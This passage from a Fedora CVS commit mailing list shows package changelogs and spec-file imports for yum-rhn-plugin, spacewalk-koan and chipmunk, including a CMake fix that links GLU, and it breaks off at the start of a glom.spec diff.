
* Wed Jan 16 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-3
- Resolves: #222327, #226151, #245013, #248385, #251915, #324141 
- Resolves: #331001, #332011, #378911

* Fri Aug 17 2007 Pradeep Kilambi <pkilambi at redhat.com>  - 0.5.2-3
- Resolves: #232567

* Tue Jul 17 2007 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.2-2
- Resolves: #250638

* Tue Jul 17 2007 James Slagle <jslagle at redhat.com> - 0.5.2-1
- Patch from katzj at redhat.com for yum 3.2.x compatibility
- Resolves: #243769

* Thu Jun 26 2007 Shannon Hughes <shughes at redhat.com> - 0.5.1-2
- Resolves: #232567, #234880, #237300

* Thu Dec 14 2006 John Wregglesworth <wregglej at redhat.com> - 0.3.1-1
- Updated translations.
- Related: #216835

* Wed Dec 13 2006 James Bowes <jbowes at redhat.com> - 0.3.0-2
- Add requires for rhn-setup.
- Related: #218617

* Mon Dec 11 2006 James Bowes <jbowes at redhat.com> - 0.3.0-1
- Updated translations.
- Related: #216835

* Tue Dec 05 2006 James Bowes <jbowes at redhat.com> - 0.2.9-1
- Updated translations.

* Fri Dec 01 2006 James Bowes <jbowes at redhat.com> - 0.2.8-1
- Updated translations.

* Thu Nov 30 2006 James Bowes <jbowes at redhat.com> - 0.2.7-1
- New and updated translations.

* Tue Nov 28 2006 James Bowes <jbowes at redhat.com> - 0.2.6-1
- Reauthenticate with RHN if the session expires.
- Resolves: #217706

* Tue Nov 28 2006 James Bowes <jbowes at redhat.com> - 0.2.5-1
- New and updated translations.

* Mon Nov 20 2006 James Bowes <jbowes at redhat.com> - 0.2.4-1
- Fix for #215602

* Mon Nov 13 2006 James Bowes <jbowes at redhat.com> - 0.2.3-1
- Add man pages.

* Fri Nov 03 2006 James Bowes <jbowes at redhat.com> - 0.2.2-1
- Fix for #213793

* Mon Oct 30 2006 James Bowes <jbowes at redhat.com> - 0.2.1-1
- New translations.
- Fixes for #212255, #213031, #211568

* Tue Oct 25 2006 James Bowes <jbowes at redhat.com> - 0.2.0-1
- Use sslCACert rather than sslCACert[0]. Related to #212212.

* Tue Oct 24 2006 James Bowes <jbowes at redhat.com> - 0.1.9-3
- add BuildRequires: gettext

* Tue Oct 24 2006 James Bowes <jbowes at redhat.com> - 0.1.9-2
- add BuildRequires: intltool

* Tue Oct 24 2006 James Bowes <jbowes at redhat.com> - 0.1.9-1
- fixes for #181830, #208852, #206941

* Tue Oct 24 2006 James Bowes <jbowes at redhat.com> - 0.1.8-1
- Require a version of rhn-client-tools that doesn't provide up2date.
- package the translation files.

* Fri Oct 13 2006 James Bowes <jbowes at redhat.com> - 0.1.7-2
- Obsolete up2date

* Wed Oct 11 2006 James Bowes <jbowes at redhat.com> - 0.1.7-1
- New version.
- Don't always assume we have an optparser.

* Thu Oct 05 2006 James Bowes <jbowes at redhat.com> - 0.1.6-1
- New version.

* Fri Sep 15 2006 James Bowes <jbowes at redhat.com> - 0.1.5-1
- Require rhpl for translation.

* Thu Sep 14 2006 James Bowes <jbowes at redhat.com> - 0.1.0-1
- New version.
- Require rhn-client-tools >= 0.1.4.
- Stop ghosting pyo files.

* Thu Aug 10 2006 James Bowes <jbowes at redhat.com> - 0.0.9-1
- New version.
- Fix for bz #202091 pirut crashes after installing package

* Mon Aug 07 2006 James Bowes <jbowes at redhat.com> - 0.0.8-2
- Set gpg checking from the plugin's config.

* Thu Aug 03 2006 James Bowes <jbowes at redhat.com> - 0.0.8-1
- New version.

* Mon Jul 31 2006 James Bowes <jbowes at redhat.com> - 0.0.7-1
- New version.

* Mon Jul 31 2006 James Bowes <jbowes at redhat.com> - 0.0.6-1
- Fix for bz #200697 ? yum-rhn-plugin causes yum to fail
  under rhel5-server

* Thu Jul 27 2006 James Bowes <jbowes at redhat.com> - 0.0.5-1
- New version.

* Thu Jul 20 2006 James Bowes <jbowes at redhat.com> - 0.0.4-1
- New version.

* Wed Jul 19 2006 James Bowes <jbowes at redhat.com> - 0.0.3-3
- Correct buildroot location.

* Wed Jul 19 2006 James Bowes <jbowes at redhat.com> - 0.0.3-2
- Spec file cleanups.

* Wed Jul 12 2006 James Bowes <jbowes at redhat.com> - 0.0.3-1
- Install the packages action.

* Thu May 18 2006 James Bowes <jbowes at redhat.com> - 0.0.2-1
- Make Evr checking on rhn packages more exact.

* Mon Apr 17 2006 James Bowes <jbowes at redhat.com> - 0.0.1-2
- Update requirements for yum >= 2.9.0

* Tue Feb 28 2006 James Bowes <jbowes at redhat.com> - 0.0.1-1
- Initial version.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/yum-rhn-plugin/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	30 Sep 2009 23:40:10 -0000	1.1
+++ .cvsignore	1 Oct 2009 07:12:41 -0000	1.2
@@ -0,0 +1 @@
+yum-rhn-plugin-0.7.6.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/yum-rhn-plugin/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	30 Sep 2009 23:40:11 -0000	1.1
+++ sources	1 Oct 2009 07:12:41 -0000	1.2
@@ -0,0 +1 @@
+3a1d29c80fd7e2f36965b309364a352a  yum-rhn-plugin-0.7.6.tar.gz



From msuchy at fedoraproject.org  Thu Oct  1 07:18:22 2009
From: msuchy at fedoraproject.org (=?utf-8?q?Miroslav_Such=C3=BD?=)
Date: Thu,  1 Oct 2009 07:18:22 +0000 (UTC)
Subject: rpms/spacewalk-koan/devel import.log, NONE, 1.1 spacewalk-koan.spec,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091001071822.B05B511C00C1@cvs1.fedora.phx.redhat.com>

Author: msuchy

Update of /cvs/pkgs/rpms/spacewalk-koan/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23963/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log spacewalk-koan.spec 
Log Message:
Import initial version of spacewalk-koan-0.2.2



--- NEW FILE import.log ---
spacewalk-koan-0_2_2-1:HEAD:spacewalk-koan-0.2.2-1.src.rpm:1254381476


--- NEW FILE spacewalk-koan.spec ---
Summary: Support package for spacewalk koan interaction
Name: spacewalk-koan
Group: System Environment/Kernel
License: GPLv2
Source0: https://fedorahosted.org/releases/s/p/spacewalk/%{name}-%{version}.tar.gz
Version: 0.2.2
Release: 1%{?dist}
BuildArch : noarch
URL:            https://fedorahosted.org/spacewalk
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-buildroot
BuildArch:      noarch
BuildRequires:  python
Requires:       python >= 1.5
Requires:       koan >= 1.4.3

Provides: rhn.kickstart.boot_image = 5.3.0
Provides: rhn-kickstart = 5.3.0
Conflicts: rhn-kickstart < 5.3.0

#this currently doesn't work for RHEL 2.1
%if 0%{?rhel} && 0%{?rhel} < 5
Requires: up2date
%else
Requires: rhn-check
%endif

%description
Support package for spacewalk koan interaction.

%prep
%setup -q

%build
make -f Makefile.spacewalk-koan all

%install
rm -rf $RPM_BUILD_ROOT
make -f Makefile.spacewalk-koan install PREFIX=$RPM_BUILD_ROOT ROOT=%{_datadir}/rhn/ \
    MANDIR=%{_mandir}

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%config(noreplace)  %{_sysconfdir}/sysconfig/rhn/clientCaps.d/kickstart
%{_sbindir}/*
%{_datadir}/rhn/spacewalkkoan/
%{_datadir}/rhn/actions/

%changelog
* Fri Aug 28 2009 Michael Mraka <michael.mraka at redhat.com> 0.2.2-1
- grep | awk is rarely needed
- 517876 - fixing spacewalk-koan so it doesnt require up2date on Fedora 11

* Tue Jul 21 2009 John Matthews <jmatthew at redhat.com> 0.1.17-1
- 510299 - static ks fix. (paji at redhat.com)
- 510299 - Big commit to get static networking to work (paji at redhat.com)

* Mon Jul 06 2009 John Matthews <jmatthew at redhat.com> 0.1.16-1
- 508956 - fixing file preservation to actually use updated initrd.img
  (mmccune at gibson.pdx.redhat.com)

* Thu Jun 25 2009 John Matthews <jmatthew at redhat.com> 0.1.15-1
- fixing spacewalk-koan spec file to build for 2.1 properly
  (jsherril at redhat.com)
- 497571 - switching to python 1.5 requires since we have to support 2.1
  (mmccune at gmail.com)
- 497571 - switch from True/False to 0/1 to support rhel 2.1 and
  (mmccune at gmail.com)
- 503996 - Added some information on the error message to the status returned
  to the server. (jason.dobies at redhat.com)

* Thu May 21 2009 jesus m. rodriguez <jesusr at redhat.com> 0.1.14-1
- 497424 - Slight redesign of the KS Virt UI to deal with duplicate virt paths (paji at redhat.com)

* Wed May 06 2009 jesus m. rodriguez <jesusr at redhat.com> 0.1.13-1
- 497871 - fixing issue where guest provisioning would show as succesful even
  when it had failed (jsherril at redhat.com)

* Wed Apr 22 2009 jesus m. rodriguez <jesusr at redhat.com> 0.1.12-1
- 494976 - adding cobbler system record name usage to reprovisioning (jsherril at redhat.com)
- update copyright and licenses (jesusr at redhat.com)

* Wed Mar 18 2009 Mike McCune <mmccune at gmail.com> 0.1.11-1
- 486186 - Update spacewalk spec files to require koan >= 1.4.3

* Thu Feb 26 2009 jesus m. rodriguez <jesusr at redhat.com> 0.1.10-1
- 486638- Updated spec to have it conflict with rhn-kickstart rpm instead of obsoleting it.

* Wed Feb 18 2009 Dave Parker <dparker at redhat.com> 0.1.9-1
- 486186 - Update spacewalk spec files to require cobbler >= 1.4.2

* Tue Feb 10 2009 Mike McCune <mmccune at gmail.com> 0.1.8-1
- 484793: Adde a basic setter to get rid of embed_kickstart check on koan

* Mon Jan 26 2009 Mike McCune <mmccune at gmail.com> 0.1.7-1
- spec file cleanups

* Tue Jan 13 2009 Mike McCune <mmccune at gmail.com> 0.1.6-1
- 461162 - missing var for koan

* Mon Jan 12 2009 Mike McCune <mmccune at gmail.com> 0.1.5-1
- 461162 - get the virtualization provisioning tracking system to work with a :virt system record.
- 461162 - Quick fix to get spacewalk koan going with a ks....

* Thu Jan 08 2009 Mike McCune <mmccune at gmail.com> 0.1.3-1
- minor virt fixes
* Tue Dec 23 2008 Mike McCune <mmccune at gmail.com> 0.1.2-1
- tagging release with support for virt
* Tue Nov 25 2008 Mike McCune - 0.1.1-1
- tagging release
* Tue Oct 28 2008 Mike McCune - 1.0.0-1
- Initial creation.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/spacewalk-koan/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	30 Sep 2009 23:47:38 -0000	1.1
+++ .cvsignore	1 Oct 2009 07:18:21 -0000	1.2
@@ -0,0 +1 @@
+spacewalk-koan-0.2.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/spacewalk-koan/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	30 Sep 2009 23:47:38 -0000	1.1
+++ sources	1 Oct 2009 07:18:22 -0000	1.2
@@ -0,0 +1 @@
+fe81e7e50813a151e5498d2b31851cdf  spacewalk-koan-0.2.2.tar.gz



From msuchy at fedoraproject.org  Thu Oct  1 07:19:27 2009
From: msuchy at fedoraproject.org (=?utf-8?q?Miroslav_Such=C3=BD?=)
Date: Thu,  1 Oct 2009 07:19:27 +0000 (UTC)
Subject: rpms/spacewalk-koan/F-12 import.log, NONE, 1.1 spacewalk-koan.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091001071927.88B8211C00C1@cvs1.fedora.phx.redhat.com>

Author: msuchy

Update of /cvs/pkgs/rpms/spacewalk-koan/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24315/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log spacewalk-koan.spec 
Log Message:
Import initial version of spacewalk-koan-0.2.2 to F-12 branch.



--- NEW FILE import.log ---
spacewalk-koan-0_2_2-1:F-12:spacewalk-koan-0.2.2-1.src.rpm:1254381537


--- NEW FILE spacewalk-koan.spec ---
Summary: Support package for spacewalk koan interaction
Name: spacewalk-koan
Group: System Environment/Kernel
License: GPLv2
Source0: https://fedorahosted.org/releases/s/p/spacewalk/%{name}-%{version}.tar.gz
Version: 0.2.2
Release: 1%{?dist}
BuildArch : noarch
URL:            https://fedorahosted.org/spacewalk
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-buildroot
BuildArch:      noarch
BuildRequires:  python
Requires:       python >= 1.5
Requires:       koan >= 1.4.3

Provides: rhn.kickstart.boot_image = 5.3.0
Provides: rhn-kickstart = 5.3.0
Conflicts: rhn-kickstart < 5.3.0

#this currently doesn't work for RHEL 2.1
%if 0%{?rhel} && 0%{?rhel} < 5
Requires: up2date
%else
Requires: rhn-check
%endif

%description
Support package for spacewalk koan interaction.

%prep
%setup -q

%build
make -f Makefile.spacewalk-koan all

%install
rm -rf $RPM_BUILD_ROOT
make -f Makefile.spacewalk-koan install PREFIX=$RPM_BUILD_ROOT ROOT=%{_datadir}/rhn/ \
    MANDIR=%{_mandir}

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%config(noreplace)  %{_sysconfdir}/sysconfig/rhn/clientCaps.d/kickstart
%{_sbindir}/*
%{_datadir}/rhn/spacewalkkoan/
%{_datadir}/rhn/actions/

%changelog
* Fri Aug 28 2009 Michael Mraka <michael.mraka at redhat.com> 0.2.2-1
- grep | awk is rarely needed
- 517876 - fixing spacewalk-koan so it doesnt require up2date on Fedora 11

* Tue Jul 21 2009 John Matthews <jmatthew at redhat.com> 0.1.17-1
- 510299 - static ks fix. (paji at redhat.com)
- 510299 - Big commit to get static networking to work (paji at redhat.com)

* Mon Jul 06 2009 John Matthews <jmatthew at redhat.com> 0.1.16-1
- 508956 - fixing file preservation to actually use updated initrd.img
  (mmccune at gibson.pdx.redhat.com)

* Thu Jun 25 2009 John Matthews <jmatthew at redhat.com> 0.1.15-1
- fixing spacewalk-koan spec file to build for 2.1 properly
  (jsherril at redhat.com)
- 497571 - switching to python 1.5 requires since we have to support 2.1
  (mmccune at gmail.com)
- 497571 - switch from True/False to 0/1 to support rhel 2.1 and
  (mmccune at gmail.com)
- 503996 - Added some information on the error message to the status returned
  to the server. (jason.dobies at redhat.com)

* Thu May 21 2009 jesus m. rodriguez <jesusr at redhat.com> 0.1.14-1
- 497424 - Slight redesign of the KS Virt UI to deal with duplicate virt paths (paji at redhat.com)

* Wed May 06 2009 jesus m. rodriguez <jesusr at redhat.com> 0.1.13-1
- 497871 - fixing issue where guest provisioning would show as succesful even
  when it had failed (jsherril at redhat.com)

* Wed Apr 22 2009 jesus m. rodriguez <jesusr at redhat.com> 0.1.12-1
- 494976 - adding cobbler system record name usage to reprovisioning (jsherril at redhat.com)
- update copyright and licenses (jesusr at redhat.com)

* Wed Mar 18 2009 Mike McCune <mmccune at gmail.com> 0.1.11-1
- 486186 - Update spacewalk spec files to require koan >= 1.4.3

* Thu Feb 26 2009 jesus m. rodriguez <jesusr at redhat.com> 0.1.10-1
- 486638- Updated spec to have it conflict with rhn-kickstart rpm instead of obsoleting it.

* Wed Feb 18 2009 Dave Parker <dparker at redhat.com> 0.1.9-1
- 486186 - Update spacewalk spec files to require cobbler >= 1.4.2

* Tue Feb 10 2009 Mike McCune <mmccune at gmail.com> 0.1.8-1
- 484793: Adde a basic setter to get rid of embed_kickstart check on koan

* Mon Jan 26 2009 Mike McCune <mmccune at gmail.com> 0.1.7-1
- spec file cleanups

* Tue Jan 13 2009 Mike McCune <mmccune at gmail.com> 0.1.6-1
- 461162 - missing var for koan

* Mon Jan 12 2009 Mike McCune <mmccune at gmail.com> 0.1.5-1
- 461162 - get the virtualization provisioning tracking system to work with a :virt system record.
- 461162 - Quick fix to get spacewalk koan going with a ks....

* Thu Jan 08 2009 Mike McCune <mmccune at gmail.com> 0.1.3-1
- minor virt fixes
* Tue Dec 23 2008 Mike McCune <mmccune at gmail.com> 0.1.2-1
- tagging release with support for virt
* Tue Nov 25 2008 Mike McCune - 0.1.1-1
- tagging release
* Tue Oct 28 2008 Mike McCune - 1.0.0-1
- Initial creation.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/spacewalk-koan/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	30 Sep 2009 23:47:38 -0000	1.1
+++ .cvsignore	1 Oct 2009 07:19:27 -0000	1.2
@@ -0,0 +1 @@
+spacewalk-koan-0.2.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/spacewalk-koan/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	30 Sep 2009 23:47:38 -0000	1.1
+++ sources	1 Oct 2009 07:19:27 -0000	1.2
@@ -0,0 +1 @@
+fe81e7e50813a151e5498d2b31851cdf  spacewalk-koan-0.2.2.tar.gz



From msuchy at fedoraproject.org  Thu Oct  1 07:20:39 2009
From: msuchy at fedoraproject.org (=?utf-8?q?Miroslav_Such=C3=BD?=)
Date: Thu,  1 Oct 2009 07:20:39 +0000 (UTC)
Subject: rpms/spacewalk-koan/F-11 import.log, NONE, 1.1 spacewalk-koan.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091001072039.00D1A11C043C@cvs1.fedora.phx.redhat.com>

Author: msuchy

Update of /cvs/pkgs/rpms/spacewalk-koan/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24669/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log spacewalk-koan.spec 
Log Message:
Import initial version of spacewalk-koan-0.2.2 to F-11 branch.



--- NEW FILE import.log ---
spacewalk-koan-0_2_2-1:F-11:spacewalk-koan-0.2.2-1.src.rpm:1254381612


--- NEW FILE spacewalk-koan.spec ---
Summary: Support package for spacewalk koan interaction
Name: spacewalk-koan
Group: System Environment/Kernel
License: GPLv2
Source0: https://fedorahosted.org/releases/s/p/spacewalk/%{name}-%{version}.tar.gz
Version: 0.2.2
Release: 1%{?dist}
BuildArch : noarch
URL:            https://fedorahosted.org/spacewalk
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-buildroot
BuildArch:      noarch
BuildRequires:  python
Requires:       python >= 1.5
Requires:       koan >= 1.4.3

Provides: rhn.kickstart.boot_image = 5.3.0
Provides: rhn-kickstart = 5.3.0
Conflicts: rhn-kickstart < 5.3.0

#this currently doesn't work for RHEL 2.1
%if 0%{?rhel} && 0%{?rhel} < 5
Requires: up2date
%else
Requires: rhn-check
%endif

%description
Support package for spacewalk koan interaction.

%prep
%setup -q

%build
make -f Makefile.spacewalk-koan all

%install
rm -rf $RPM_BUILD_ROOT
make -f Makefile.spacewalk-koan install PREFIX=$RPM_BUILD_ROOT ROOT=%{_datadir}/rhn/ \
    MANDIR=%{_mandir}

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%config(noreplace)  %{_sysconfdir}/sysconfig/rhn/clientCaps.d/kickstart
%{_sbindir}/*
%{_datadir}/rhn/spacewalkkoan/
%{_datadir}/rhn/actions/

%changelog
* Fri Aug 28 2009 Michael Mraka <michael.mraka at redhat.com> 0.2.2-1
- grep | awk is rarely needed
- 517876 - fixing spacewalk-koan so it doesnt require up2date on Fedora 11

* Tue Jul 21 2009 John Matthews <jmatthew at redhat.com> 0.1.17-1
- 510299 - static ks fix. (paji at redhat.com)
- 510299 - Big commit to get static networking to work (paji at redhat.com)

* Mon Jul 06 2009 John Matthews <jmatthew at redhat.com> 0.1.16-1
- 508956 - fixing file preservation to actually use updated initrd.img
  (mmccune at gibson.pdx.redhat.com)

* Thu Jun 25 2009 John Matthews <jmatthew at redhat.com> 0.1.15-1
- fixing spacewalk-koan spec file to build for 2.1 properly
  (jsherril at redhat.com)
- 497571 - switching to python 1.5 requires since we have to support 2.1
  (mmccune at gmail.com)
- 497571 - switch from True/False to 0/1 to support rhel 2.1 and
  (mmccune at gmail.com)
- 503996 - Added some information on the error message to the status returned
  to the server. (jason.dobies at redhat.com)

* Thu May 21 2009 jesus m. rodriguez <jesusr at redhat.com> 0.1.14-1
- 497424 - Slight redesign of the KS Virt UI to deal with duplicate virt paths (paji at redhat.com)

* Wed May 06 2009 jesus m. rodriguez <jesusr at redhat.com> 0.1.13-1
- 497871 - fixing issue where guest provisioning would show as succesful even
  when it had failed (jsherril at redhat.com)

* Wed Apr 22 2009 jesus m. rodriguez <jesusr at redhat.com> 0.1.12-1
- 494976 - adding cobbler system record name usage to reprovisioning (jsherril at redhat.com)
- update copyright and licenses (jesusr at redhat.com)

* Wed Mar 18 2009 Mike McCune <mmccune at gmail.com> 0.1.11-1
- 486186 - Update spacewalk spec files to require koan >= 1.4.3

* Thu Feb 26 2009 jesus m. rodriguez <jesusr at redhat.com> 0.1.10-1
- 486638- Updated spec to have it conflict with rhn-kickstart rpm instead of obsoleting it.

* Wed Feb 18 2009 Dave Parker <dparker at redhat.com> 0.1.9-1
- 486186 - Update spacewalk spec files to require cobbler >= 1.4.2

* Tue Feb 10 2009 Mike McCune <mmccune at gmail.com> 0.1.8-1
- 484793: Adde a basic setter to get rid of embed_kickstart check on koan

* Mon Jan 26 2009 Mike McCune <mmccune at gmail.com> 0.1.7-1
- spec file cleanups

* Tue Jan 13 2009 Mike McCune <mmccune at gmail.com> 0.1.6-1
- 461162 - missing var for koan

* Mon Jan 12 2009 Mike McCune <mmccune at gmail.com> 0.1.5-1
- 461162 - get the virtualization provisioning tracking system to work with a :virt system record.
- 461162 - Quick fix to get spacewalk koan going with a ks....

* Thu Jan 08 2009 Mike McCune <mmccune at gmail.com> 0.1.3-1
- minor virt fixes
* Tue Dec 23 2008 Mike McCune <mmccune at gmail.com> 0.1.2-1
- tagging release with support for virt
* Tue Nov 25 2008 Mike McCune - 0.1.1-1
- tagging release
* Tue Oct 28 2008 Mike McCune - 1.0.0-1
- Initial creation.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/spacewalk-koan/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	30 Sep 2009 23:47:38 -0000	1.1
+++ .cvsignore	1 Oct 2009 07:20:38 -0000	1.2
@@ -0,0 +1 @@
+spacewalk-koan-0.2.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/spacewalk-koan/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	30 Sep 2009 23:47:38 -0000	1.1
+++ sources	1 Oct 2009 07:20:38 -0000	1.2
@@ -0,0 +1 @@
+fe81e7e50813a151e5498d2b31851cdf  spacewalk-koan-0.2.2.tar.gz



From jwrdegoede at fedoraproject.org  Thu Oct  1 07:55:14 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Thu,  1 Oct 2009 07:55:14 +0000 (UTC)
Subject: rpms/chipmunk/devel chipmunk-4.1.0-cmake.patch, NONE,
	1.1 chipmunk.spec, 1.6, 1.7
Message-ID: <20091001075514.8673211C00C1@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/chipmunk/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31337

Modified Files:
	chipmunk.spec 
Added Files:
	chipmunk-4.1.0-cmake.patch 
Log Message:
* Thu Oct  1 2009 Hans de Goede <hdegoede at redhat.com> - 4.1.0-8
- Fix FTBFS


chipmunk-4.1.0-cmake.patch:
 CMakeLists.txt |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE chipmunk-4.1.0-cmake.patch ---
diff -up Chipmunk-4.1.0/Demo/CMakeLists.txt~ Chipmunk-4.1.0/Demo/CMakeLists.txt
--- Chipmunk-4.1.0/Demo/CMakeLists.txt~	2008-05-28 04:03:05.000000000 +0200
+++ Chipmunk-4.1.0/Demo/CMakeLists.txt	2009-10-01 09:56:26.000000000 +0200
@@ -34,7 +34,7 @@ ENDIF(OPENGL_FOUND)
 #examples: ITKCommon, VTKRendering, etc
 SET(Libraries
 #list libraries here
-GL glut
+GL GLU glut
 )
 
 #LINK_DIRECTORIES(${CHIPMUNK_SOURCE_DIR}/build/source)


Index: chipmunk.spec
===================================================================
RCS file: /cvs/extras/rpms/chipmunk/devel/chipmunk.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- chipmunk.spec	24 Jul 2009 18:54:31 -0000	1.6
+++ chipmunk.spec	1 Oct 2009 07:55:12 -0000	1.7
@@ -1,13 +1,14 @@
 %{!?ruby_sitearch: %define ruby_sitearch %(ruby -rrbconfig -e "puts Config::CONFIG['sitearchdir']")}
 Name:           chipmunk
 Version:        4.1.0
-Release:        7%{?dist}
+Release:        8%{?dist}
 Summary:        Physics engine for 2D games
 
 Group:          Development/Libraries
 License:        MIT
 URL:            http://http://wiki.slembcke.net/main/published/Chipmunk
 Source0:        http://files.slembcke.net/chipmunk/release/Chipmunk-%{version}.tgz
+Patch0:         chipmunk-4.1.0-cmake.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: cmake
@@ -56,6 +57,7 @@ You'll also need to install the chipmunk
 
 %prep
 %setup -qn Chipmunk-%{version}
+%patch0 -p1
 
 %build
 %if "%{?_lib}" == "lib64"
@@ -106,6 +108,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  1 2009 Hans de Goede <hdegoede at redhat.com> - 4.1.0-8
+- Fix FTBFS
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.1.0-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From jwrdegoede at fedoraproject.org  Thu Oct  1 07:56:23 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Thu,  1 Oct 2009 07:56:23 +0000 (UTC)
Subject: rpms/chipmunk/F-12 chipmunk-4.1.0-cmake.patch, NONE,
	1.1 chipmunk.spec, 1.6, 1.7
Message-ID: <20091001075624.000F711C00C1@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/chipmunk/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31569

Modified Files:
	chipmunk.spec 
Added Files:
	chipmunk-4.1.0-cmake.patch 
Log Message:
* Thu Oct  1 2009 Hans de Goede <hdegoede at redhat.com> - 4.1.0-8
- Fix FTBFS


chipmunk-4.1.0-cmake.patch:
 CMakeLists.txt |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE chipmunk-4.1.0-cmake.patch ---
diff -up Chipmunk-4.1.0/Demo/CMakeLists.txt~ Chipmunk-4.1.0/Demo/CMakeLists.txt
--- Chipmunk-4.1.0/Demo/CMakeLists.txt~	2008-05-28 04:03:05.000000000 +0200
+++ Chipmunk-4.1.0/Demo/CMakeLists.txt	2009-10-01 09:56:26.000000000 +0200
@@ -34,7 +34,7 @@ ENDIF(OPENGL_FOUND)
 #examples: ITKCommon, VTKRendering, etc
 SET(Libraries
 #list libraries here
-GL glut
+GL GLU glut
 )
 
 #LINK_DIRECTORIES(${CHIPMUNK_SOURCE_DIR}/build/source)


Index: chipmunk.spec
===================================================================
RCS file: /cvs/extras/rpms/chipmunk/F-12/chipmunk.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- chipmunk.spec	24 Jul 2009 18:54:31 -0000	1.6
+++ chipmunk.spec	1 Oct 2009 07:56:23 -0000	1.7
@@ -1,13 +1,14 @@
 %{!?ruby_sitearch: %define ruby_sitearch %(ruby -rrbconfig -e "puts Config::CONFIG['sitearchdir']")}
 Name:           chipmunk
 Version:        4.1.0
-Release:        7%{?dist}
+Release:        8%{?dist}
 Summary:        Physics engine for 2D games
 
 Group:          Development/Libraries
 License:        MIT
 URL:            http://http://wiki.slembcke.net/main/published/Chipmunk
 Source0:        http://files.slembcke.net/chipmunk/release/Chipmunk-%{version}.tgz
+Patch0:         chipmunk-4.1.0-cmake.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: cmake
@@ -56,6 +57,7 @@ You'll also need to install the chipmunk
 
 %prep
 %setup -qn Chipmunk-%{version}
+%patch0 -p1
 
 %build
 %if "%{?_lib}" == "lib64"
@@ -106,6 +108,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  1 2009 Hans de Goede <hdegoede at redhat.com> - 4.1.0-8
+- Fix FTBFS
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.1.0-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From denis at fedoraproject.org  Thu Oct  1 08:02:48 2009
From: denis at fedoraproject.org (Denis Leroy)
Date: Thu,  1 Oct 2009 08:02:48 +0000 (UTC)
Subject: rpms/glom/devel glom.spec,1.37,1.38
Message-ID: <20091001080248.35E8411C00C1@cvs1.fedora.phx.redhat.com>

Author: denis

Update of /cvs/pkgs/rpms/glom/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv898

Modified Files:
	glom.spec 
Log Message:
Added missing gconfmm BR


Index: glom.spec
===================================================================
RCS file: /cvs/pkgs/rpms/glom/devel/glom.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- glom.spec	30 Sep 2009 22:55:42 -0000	1.37
